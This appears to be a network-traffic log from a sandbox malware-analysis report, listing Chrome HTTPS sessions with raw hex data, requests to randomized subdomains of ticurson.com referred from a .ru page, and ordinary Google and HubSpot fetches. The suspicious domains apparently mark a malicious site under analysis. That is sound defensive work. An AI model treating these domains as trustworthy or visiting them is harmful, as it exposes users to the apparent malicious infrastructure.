2024-12-16 17:45:48 UTC	1369	IN	Data Raw: 0f 0d 5e 7f e1 e5 db b1 f7 e9 c1 e1 7e 53 fc 3c bb 79 30 9a e8 c5 91 67 cd a9 28 a0 28 f7 0d 2a a1 78 c0 d1 cf b0 ce 23 b4 05 f1 36 c1 d1 ef fb 32 d7 b4 ab 7e a0 e1 12 55 26 25 5f 2c c2 04 8f 5a 49 28 d1 16 d7 3f 7d c1 5e f5 68 61 6e 52 88 f8 03 c7 00 17 9d 03 5b 86 7a 96 3a 26 e8 e8 88 4b 04 fe 9f 31 17 59 ef e2 1a 9f 56 cb 76 99 58 d8 27 5c 9e 9f 98 dd 5a 86 5b 6f 5e 15 d9 38 26 d6 af a7 cf 91 2a 76 23 ed 93 a7 3c 60 7e 2e b9 a1 34 3b 46 50 58 ba 3a 43 32 0e 56 ba e0 b5 f5 82 59 87 48 42 22 86 a4 d8 37 bd f5 11 d6 6e af b8 f3 27 e7 09 90 0b c0 35 d5 4c 1a 78 79 94 a1 39 8d 10 4a 56 b9 4e 20 50 b5 be 8c eb f3 e0 72 20 7b cb ef 43 17 b3 2c 82 09 8d ac 05 0f 90 86 5e b5 0c 8b 51 2a 9d 64 ee f6 78 95 9a a6 20 9f 76 f1 e6 80 65 5a 73 09 e5 ed b1 03 58 ba 5d Data Ascii: ^~S<y0g((x#62~U&%_,ZI(?}^hanR[z:&K1YVvX'\Z[o^8&v#<`~.4;FPX:C2VYHB"7n'5Lxy9JVN Pr {C,^Q*dx veZsX]
2024-12-16 17:45:48 UTC	1369	IN	Data Raw: 1e 5d bc 98 4e 4d 3f 9a bc ff c3 cb b7 93 09 c9 a7 f3 43 82 17 09 5c 3c 53 88 45 f3 38 ff cc a4 26 be 4d 1f 2c c2 04 8f 5b 75 54 fa c5 fb 63 43 db 62 d5 4a f6 f6 13 a0 70 34 69 37 50 88 ed 82 b0 5f 64 c2 67 09 98 2d 23 b2 9f 92 e0 b0 86 47 1e 3a 6a 75 eb 79 b4 70 83 f5 55 a7 dd 5b d0 f8 b7 41 f8 a6 46 5c 70 d0 06 7a a5 02 e6 b2 29 05 74 ef 84 5d 56 48 64 35 9f e0 3b 38 4e 02 10 00 9e 3d a0 58 a7 6b f8 32 b4 ab af 53 09 54 27 72 eb ee 03 a9 ad 73 52 88 8b 84 71 e4 26 a5 ec bc 34 e7 a0 e2 ea ed 50 e4 7d 0e 89 5f ab 6f fd e5 ba 14 48 98 2e b9 e4 c7 3b eb 61 f8 11 b6 6c f4 40 88 e6 20 1d dd aa 47 41 cb ad 1a ec e1 34 cf 11 6f 5d 18 50 01 31 bb 8f bb 10 e0 e7 57 dc 48 ca be d0 a4 fc bb 9c a6 72 bf 3a 79 54 ce 99 b2 5e 1a 6d ae 11 a8 c1 7f 06 64 6d 8c 8a ef 7a Data Ascii: ]NM?C\<SE8&M,[uTcCbJp4i7P_dg-#G:juypU[AF\pz)t]VHd5;8N=Xk2ST'rsRq&4P}_oH.;al@ GA4o]P1WHr:yT^mdmz
2024-12-16 17:45:48 UTC	1369	IN	Data Raw: 68 3b ee 56 28 82 b6 44 b3 4f b1 6e ea 8f c5 b1 ab a7 0e c6 c2 5b a4 a6 a6 34 99 a5 6d 03 f2 f4 97 cc 1e 7d ad 58 6b 63 88 8a 31 cc 96 16 1c 83 bb b5 9d bc 0f 47 78 39 b0 58 0f cf 66 1b 03 75 bb 83 b9 a7 7f 78 5d c7 b0 df 58 d8 a5 28 7b 2d 42 71 5a 32 9c fd ed 43 33 2f 49 7c ae 07 39 2c 11 26 f3 73 c0 b0 a1 b6 7d fd 36 b3 b5 a8 46 56 d6 f0 1c 2e 44 6e 4b 5f a9 f3 93 5b 39 33 6a c2 fd 3d 86 fd cd f4 ef 09 86 f5 98 3e cc 5a 6b fa d3 98 72 c7 4b 76 a6 a9 6f 58 d2 39 a8 00 cb c3 94 82 e5 24 06 29 be 73 ce e9 9e f4 46 57 b6 c0 9e f6 a6 bb df 08 e9 d9 16 cb 37 03 bd 98 14 43 7d 9b 7b ef 34 ff a5 6a 4c 8d e1 d6 ed a0 90 3d e4 81 52 7c 47 c1 4c 6f f2 7a 85 7c 35 1b 70 62 55 cc 5d c8 c1 8c 7d 1b 2b b0 73 c4 a9 6f cd 79 c4 0b 42 99 19 17 51 0d 21 46 fc ff 8e 10 d1 Data Ascii: h;V(DOn[4m}Xkc1Gx9Xfux]X({-BqZ2C3/I\|9,&s}6FV.DnK_[93j=>ZkrKvoX9$)sFW7C}{4jL=R\|GLoz\|5pbU]}+soyBQ!F
2024-12-16 17:45:48 UTC	1369	IN	Data Raw: 97 dc 23 ce da ee 0c 71 7c 08 57 8d ea c8 88 bd 38 c4 ab 72 aa cb 0c fb 1e f0 88 df 96 27 d4 2e e7 3e 09 ef da 6d 5e 68 dd 97 44 6e 43 0f a5 78 d8 96 b5 7b ed aa 8c 7f e4 51 c6 00 0f 60 c1 ab c9 f1 98 4f ea a7 e8 4d f6 f5 d1 7c 62 ca 0a fc 0d 53 7d cb c3 7b dd f7 68 49 ff 85 02 73 71 4d 76 17 21 a3 86 a8 c6 37 e4 ed 11 d7 30 1a dc bb f3 fb 6d b2 87 d4 d3 0d d8 9f 7d 83 8d 79 ea b0 1b 25 33 e4 7b fa e5 af 56 ab 75 a8 35 93 b5 b7 5d e2 33 4c 87 6e e5 67 65 de e5 2c 2a 01 0a 35 31 09 c2 2c e6 1f 2c 01 80 80 f7 08 80 b2 cc e0 7e 77 27 a7 77 56 10 8e 4d 8e e1 56 96 36 3c 86 bd c7 21 1b 56 94 18 50 3c 3e 76 a1 48 f5 78 9a 48 c6 49 95 18 b3 02 fb f2 57 33 78 50 c2 99 b1 77 d7 f1 3a ec 36 3c d4 45 ad 47 44 4d 8d 38 25 cf 28 f3 ed cd 9a 3a bf 60 6f 77 99 d6 9e 89 Data Ascii: #q\|W8r'.>m^hDnCx{Q`OM\|bS}{hIsqMv!70m}y%3{Vu5]3Lnge,*51,,~w'wVMV6<!VP<>vHxHIW3xPw:6<EGDM8%(:`ow
2024-12-16 17:45:48 UTC	1369	IN	Data Raw: b2 30 78 3f 7a 8d 7b 0c da 26 3e ef a9 95 c6 8e 9a 2e cd cf a4 79 0d 6b 57 ba 17 bc 2f 06 88 c8 9d c1 91 85 5c 14 90 05 e8 4b 2d be 2d 68 ce 6a 69 07 ed 67 2e ac 4c 6b b7 da 39 0e af 7c a1 f8 97 bf d9 a4 2b 79 f2 8d 67 76 2c 58 00 da 2f d6 f8 ad c7 74 4e 6b fe 79 6b 8b 44 7b d2 51 a5 44 de 8c 40 99 78 61 72 a9 a2 eb 38 c3 e9 80 b6 9b f5 68 43 3f 21 07 82 c9 af 05 90 33 19 e3 8d 50 dc 70 42 08 89 e2 9d a0 af 9e c3 7c 78 e1 8a 36 4f 8d 25 6b ee e6 68 8e 34 fa 23 22 83 fd 2c 1e 5c d2 86 bc c4 26 e3 31 1c 16 12 07 a0 e4 b7 dc cd ca 11 90 61 73 3f c1 c3 f4 fb eb ff b8 b7 6f 53 f4 66 10 cb 36 07 b8 31 e4 5c 7d cd 6e 0d 2e 03 1e 6b 76 01 6e 64 9e 19 5f 2b 8a c7 7f 4a e7 de a4 4b b9 48 35 10 af 3a e7 9d cf e5 32 30 48 17 6d b4 02 38 b3 d2 a7 8c 81 fb bc 0f 5c 29 Data Ascii: 0x?z{&>.ykW/\K--hjig.Lk9\|+ygv,X/tNkykD{QD@xar8hC?!3PpB\|x6O%kh4#",\&1as?oSf61\}n.kvnd_+JKH5:20Hm8\)
2024-12-16 17:45:48 UTC	1369	IN	Data Raw: e6 91 aa 1d fc 59 93 83 3b 61 bd b7 81 8b b1 4b 7a ed da fa 6a 69 c5 23 e8 fe 62 bd 24 ba 78 a0 60 ca 10 d3 fa b6 47 4c 3b 16 02 fc f2 ee 54 cd cd 3a d2 c3 77 58 cd 84 29 d2 d6 63 62 eb 18 6d 2a f0 70 0c b7 c7 24 5e 1c 1e d9 29 90 41 df b6 e5 78 d2 0d e9 f3 10 cd 0a df 2f 31 da 65 e7 bd 38 b9 e6 54 94 76 6a 08 d7 cf 50 98 6d 43 50 d6 1c 2c e6 67 06 88 27 92 34 0b 69 c4 db 27 a5 9d 52 bb 30 76 aa 46 e0 05 c2 c0 99 4a 6e 7a 92 b9 fc 8b e3 1a 28 0b b2 7c 05 17 4a e9 08 a1 e9 ad 3b 19 6e 68 4d 05 7f 88 72 ef 28 b1 73 7f ca d9 57 ba 2e 09 82 aa 16 6f c7 56 1e 04 39 ef 8b 1d 41 2c 1a f6 2c f5 73 5c 1a 2b 4a fe 11 fa 94 16 e7 8d c4 09 1f 78 b0 bd 44 fb 4a 87 9b 72 e0 76 52 45 cb 40 63 84 0c 30 ef 11 e1 f2 32 30 70 18 de c1 0a ba b4 40 91 37 b0 94 60 41 be da a0 Data Ascii: Y;aKzji#b$x`GL;T:wX)cbm*p$^)Ax/1e8TvjPmCP,g'4i'R0vFJnz(\|J;nhMr(sW.oV9A,,s\+JxDJrvRE@c020p@7`A
2024-12-16 17:45:48 UTC	1369	IN	Data Raw: 21 71 94 dc be 4d 53 7c b0 32 f9 69 c6 ce d0 3e e5 1a 8e 65 b0 18 9c fc 23 bc b8 2f 2a 1c b5 2d cd 48 70 b6 82 42 8b a9 d0 fa 9c 28 30 55 5e 9d ad a9 b2 11 b4 0e 83 67 98 0b c5 f0 6a db 02 84 c4 d8 7d 6a 35 b6 75 c3 87 ba 21 9e 92 70 12 10 25 3b de 39 bc d5 a3 84 b5 21 d0 89 e7 59 a4 57 be ae ef 8f 22 c6 4f 87 84 b7 a2 2c e5 9d 6a 32 4b 61 da c8 4b 32 b5 15 04 67 c8 c6 3a ec e6 d7 d3 8a b2 96 25 b2 75 85 a6 c3 2f cb fe a9 ec 3f 3d 84 f5 ff f4 fb 77 31 cf 99 24 2e 1a 02 85 76 b0 b9 0c 94 74 fa 59 66 f1 1c 86 e7 8a a9 db 34 20 03 ab 20 fe 53 60 90 c5 f3 e3 5b 19 3e 1a ba 37 24 b9 06 0c d0 5b fe 9b 9c 53 c8 2c 29 c1 21 1c ed b2 7d 36 46 df ff ad ec fa 34 e3 55 b3 ea 46 e1 6e 8e 89 3d c5 d7 79 e6 4e 61 5b e5 22 13 e6 89 6d 72 bd 61 97 86 8a c8 d1 3b 68 fb ff Data Ascii: !qMS\|2i>e#/*-HpB(0U^gj}j5u!p%;9!YW"O,j2KaK2g:%u/?=w1$.vtYf4 S`[>7$[S,)!}6F4UFn=yNa["mra;h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.17	49782	172.67.187.119	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:52 UTC	659	OUT	GET /FgtghLsnTOfHLldcKZeJfKXQvQpFWGOAXXYVFQHFOEDPIZIZKGCIECWEFUOCUVB HTTP/1.1 Host: 5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://qb06.ffcwygff.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qb06.ffcwygff.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:53 UTC	901	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bV%2FTsgjdp%2BuVpIe8JkuFqnQAjtdy3dNtuRusgI%2F7LrfzDNJJHWm8N0TTO4CpjP%2B9IVDibKTG%2F5KCwZmsKsNb5cl3yBOtrcbPnx5EUimm8wumcaHazEkFuATL3m85667%2FphEMPY3qoNaj7DPYZr3DRXYKoc5GOJIFauuS9KXFyWwxjLB9z%2B63%2FOsR2x5Zkm%2FrRTmGcVU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f307d565f1672b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1840&min_rtt=1827&rtt_var=712&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1237&delivery_rate=1508264&cwnd=192&unsent_bytes=0&cid=516adc7155949ee0&ts=1108&x=0"
2024-12-16 17:45:53 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-16 17:45:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.17	49787	104.21.32.205	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:55 UTC	453	OUT	GET /FgtghLsnTOfHLldcKZeJfKXQvQpFWGOAXXYVFQHFOEDPIZIZKGCIECWEFUOCUVB HTTP/1.1 Host: 5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:56 UTC	893	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xOZgT5hnPftiAnWfTTHUn5Wxxh6%2FJYcAk%2BL6Wyh7ej%2BRcTyA5cu%2FneqFPAaWnJZW7VKnSmR5cH%2BVSiaYxsmuMWtSQ1RTxB9pQpC0bQc4Zuxw7aN9kAWd3qqLd6MuXc1RBvzjUasSQ7Mf3k4uNJqiWFDVVl3qFnlmDTeJfWnmXJxqZWzrVw22dW8mhrqfTu7SLjgdXDo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f307d6dcc204384-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1605&rtt_var=605&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1031&delivery_rate=1803582&cwnd=234&unsent_bytes=0&cid=57aed5dd3e916e9c&ts=1114&x=0"
2024-12-16 17:45:56 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-16 17:45:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.17	49788	172.67.187.119	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:55 UTC	659	OUT	GET /FgtghLsnTOfHLldcKZeJfKXQvQpFWGOAXXYVFQHFOEDPIZIZKGCIECWEFUOCUVB HTTP/1.1 Host: 5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://qb06.ffcwygff.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qb06.ffcwygff.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.17	49807	172.217.19.225	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:58 UTC	811	OUT	GET /o9U8AvPuX9gkIYtYfNmH-_wBdTfOJ7jb0VwbLWWbERzml7oTPngODhKv2Br7A64=w64 HTTP/1.1 Host: lh3.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCNy9zQEIucrNAQi2y80BCOnSzQEIitPNAQjB1M0BCM/WzQEI49bNAQiO180BCKfYzQEIutjNAQj5wNQVGLi/zQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://support.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:59 UTC	531	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Timing-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Disposition: inline;filename="unnamed.png" X-Content-Type-Options: nosniff Server: fife Content-Length: 1393 X-XSS-Protection: 0 Date: Mon, 16 Dec 2024 16:31:04 GMT Expires: Tue, 17 Dec 2024 16:31:04 GMT Cache-Control: public, max-age=86400, no-transform Age: 4495 ETag: "v1" Content-Type: image/png Vary: Origin Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:45:59 UTC	859	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 04 fe 49 44 41 54 78 da ec 5b 3b 6c 13 41 10 1d 3b 31 21 40 c0 40 04 11 bf 84 02 90 40 22 20 8a 14 80 f8 34 34 7c 4b 44 01 a6 80 12 02 12 0d 45 e2 82 86 06 28 41 22 9f 82 9a f0 69 68 20 11 a4 a0 40 c4 48 14 09 42 b2 f9 29 81 00 07 09 d8 c1 89 c3 be d3 06 2e e6 3e 7b 77 7b eb 0b f1 48 ab b3 6e c7 3b 3b 6f 67 f6 76 66 77 89 ca 54 a6 59 4d 11 d5 02 f7 5e 1a 6d 60 8f dd ac 1c 62 e5 30 7f dd c5 ca 1d 56 ba 1f 5e 5c 90 fe ef 00 60 4a 6f e1 ca 42 e9 2d 0e ec 7d 1c 8c 2e 06 46 df 8c 05 80 Data Ascii: PNGIHDR@@iqpHYstEXtSoftwareAdobe ImageReadyqe<IDATx[;lA;1!@@@" 44\|KDE(A"ih @HB).>{w{Hn;;ogvfwTYM^m`b0V^\`JoB-}.F
2024-12-16 17:45:59 UTC	534	IN	Data Raw: cb c9 46 cf 8a 4f 11 fe 8f 02 10 93 6d a9 69 16 01 99 0e 7d 95 be 0e e8 b1 aa 98 53 53 f7 27 67 37 95 f4 f0 ab 7c 31 10 c6 64 09 64 41 a6 97 be fa 01 c0 f2 80 02 3a 54 15 5f a5 ff 3e 7f 74 a3 ab c8 cf 4d 84 88 b6 41 90 e5 90 24 ed 92 0e 00 df 76 4e 5b d5 23 85 8d 7c 9d cc 91 37 b3 04 c8 80 2c 1b 4a bb d9 22 77 bb 14 ee b4 ab 44 e6 76 34 17 dc 46 32 da 86 0c 3f 7d f4 0b 40 87 6d 63 6c 66 3e 77 2b 17 08 08 68 13 6d 0b ec 18 75 04 06 00 3f 8a 62 eb 5f af 87 0a 7a 47 07 bf c9 03 01 6d a1 4d b4 ed a4 bc db e3 32 5e a2 c1 6b 4e 0c e8 e8 e9 9b 59 ea 1d 98 f0 ad 3c da 40 5b 02 ca bb 36 7f 57 0b a1 a2 45 d1 23 12 3c 14 d5 58 5f 41 c7 77 c6 a8 71 4d 85 2b 19 a9 37 13 d4 f9 38 4f a9 8c 30 88 38 0e b3 c7 ad 2e 5e 77 86 92 a2 00 40 81 73 ac d4 2d 8a d0 be cd 0c 88 fa Data Ascii: FOmi}SS'g7\|1ddA:T_>tMA$vN[#\|7,J"wDv4F2?}@mclf>w+hmu?b_zGmM2^kNY<@[6WE#<X_AwqM+78O08.^w@s-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.17	49838	142.250.181.65	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:01 UTC	513	OUT	GET /o9U8AvPuX9gkIYtYfNmH-_wBdTfOJ7jb0VwbLWWbERzml7oTPngODhKv2Br7A64=w64 HTTP/1.1 Host: lh3.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:46:02 UTC	531	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Timing-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Disposition: inline;filename="unnamed.png" X-Content-Type-Options: nosniff Server: fife Content-Length: 1393 X-XSS-Protection: 0 Date: Mon, 16 Dec 2024 16:31:04 GMT Expires: Tue, 17 Dec 2024 16:31:04 GMT Cache-Control: public, max-age=86400, no-transform Age: 4497 ETag: "v1" Content-Type: image/png Vary: Origin Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:02 UTC	859	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 04 fe 49 44 41 54 78 da ec 5b 3b 6c 13 41 10 1d 3b 31 21 40 c0 40 04 11 bf 84 02 90 40 22 20 8a 14 80 f8 34 34 7c 4b 44 01 a6 80 12 02 12 0d 45 e2 82 86 06 28 41 22 9f 82 9a f0 69 68 20 11 a4 a0 40 c4 48 14 09 42 b2 f9 29 81 00 07 09 d8 c1 89 c3 be d3 06 2e e6 3e 7b 77 7b eb 0b f1 48 ab b3 6e c7 3b 3b 6f 67 f6 76 66 77 89 ca 54 a6 59 4d 11 d5 02 f7 5e 1a 6d 60 8f dd ac 1c 62 e5 30 7f dd c5 ca 1d 56 ba 1f 5e 5c 90 fe ef 00 60 4a 6f e1 ca 42 e9 2d 0e ec 7d 1c 8c 2e 06 46 df 8c 05 80 Data Ascii: PNGIHDR@@iqpHYstEXtSoftwareAdobe ImageReadyqe<IDATx[;lA;1!@@@" 44\|KDE(A"ih @HB).>{w{Hn;;ogvfwTYM^m`b0V^\`JoB-}.F
2024-12-16 17:46:02 UTC	534	IN	Data Raw: cb c9 46 cf 8a 4f 11 fe 8f 02 10 93 6d a9 69 16 01 99 0e 7d 95 be 0e e8 b1 aa 98 53 53 f7 27 67 37 95 f4 f0 ab 7c 31 10 c6 64 09 64 41 a6 97 be fa 01 c0 f2 80 02 3a 54 15 5f a5 ff 3e 7f 74 a3 ab c8 cf 4d 84 88 b6 41 90 e5 90 24 ed 92 0e 00 df 76 4e 5b d5 23 85 8d 7c 9d cc 91 37 b3 04 c8 80 2c 1b 4a bb d9 22 77 bb 14 ee b4 ab 44 e6 76 34 17 dc 46 32 da 86 0c 3f 7d f4 0b 40 87 6d 63 6c 66 3e 77 2b 17 08 08 68 13 6d 0b ec 18 75 04 06 00 3f 8a 62 eb 5f af 87 0a 7a 47 07 bf c9 03 01 6d a1 4d b4 ed a4 bc db e3 32 5e a2 c1 6b 4e 0c e8 e8 e9 9b 59 ea 1d 98 f0 ad 3c da 40 5b 02 ca bb 36 7f 57 0b a1 a2 45 d1 23 12 3c 14 d5 58 5f 41 c7 77 c6 a8 71 4d 85 2b 19 a9 37 13 d4 f9 38 4f a9 8c 30 88 38 0e b3 c7 ad 2e 5e 77 86 92 a2 00 40 81 73 ac d4 2d 8a d0 be cd 0c 88 fa Data Ascii: FOmi}SS'g7\|1ddA:T_>tMA$vN[#\|7,J"wDv4F2?}@mclf>w+hmu?b_zGmM2^kNY<@[6WE#<X_AwqM+78O08.^w@s-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.17	49861	104.16.107.254	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:03 UTC	634	OUT	GET /collectedforms.js HTTP/1.1 Host: js.hscollectedforms.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=d1ASo8J1NnJGHYfSaRYq3M8CIed0HFFDaK2KNXYUH88-1734371131-1.0.1.1-Cx5JNvC.POCAHUuYwHduuoOfDgglCmo5B0OwtJ5A8WQqp0j2OpdC.lUyobF7qbdClyg1j6w_THNQKC6A8DKqNA If-None-Match: W/"ceb8bcb73e5536d8416735a3977d227a" If-Modified-Since: Mon, 09 Dec 2024 13:03:17 UTC
2024-12-16 17:46:03 UTC	1336	IN	HTTP/1.1 304 Not Modified Date: Mon, 16 Dec 2024 17:46:03 GMT Connection: close x-amz-replication-status: COMPLETED last-modified: Mon, 09 Dec 2024 13:03:17 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: 8IiNiFnnn0n9avBP.k8Mr32sZxpD8Dx_ etag: W/"ceb8bcb73e5536d8416735a3977d227a" vary: accept-encoding x-cache: Hit from cloudfront via: 1.1 c0b0d7167cc2eb52d8d154aa7fc03a0a.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: 8sX57u4JfTrsGzB3lSwHU6fbgllUbXMDTCgr2IYm6pwXFnifpg9f8A== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=collected-forms-embed-js/static-1.1112/bundles/project.js&cfRay=8ef5439dc84805c6-IAD Cache-Control: s-maxage=600, max-age=300 x-hs-target-asset: collected-forms-embed-js/static-1.1112/bundles/project.js x-content-type-options: nosniff access-control-allow-origin: * x-hs-cache-status: MISS x-envoy-upstream-service-time: 7 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 13ad2578-347e-440b-bf50-05745e964ba6 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-mglm2 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 13ad2578-347e-440b-bf50-05745e964ba6
2024-12-16 17:46:03 UTC	159	IN	Data Raw: 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 63 6f 6c 6c 65 63 74 65 64 2d 66 6f 72 6d 73 2d 65 6d 62 65 64 2d 6a 73 2d 77 65 62 2d 70 72 6f 64 2c 73 74 61 74 69 63 6a 73 61 70 70 2d 70 72 6f 64 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 48 49 54 0d 0a 41 67 65 3a 20 35 36 39 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 33 30 37 64 39 63 61 65 39 38 31 38 33 31 2d 45 57 52 0d 0a 0d 0a Data Ascii: cache-tag: staticjsapp-collected-forms-embed-js-web-prod,staticjsapp-prodCF-Cache-Status: HITAge: 569Server: cloudflareCF-RAY: 8f307d9cae981831-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.17	49862	104.16.109.254	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
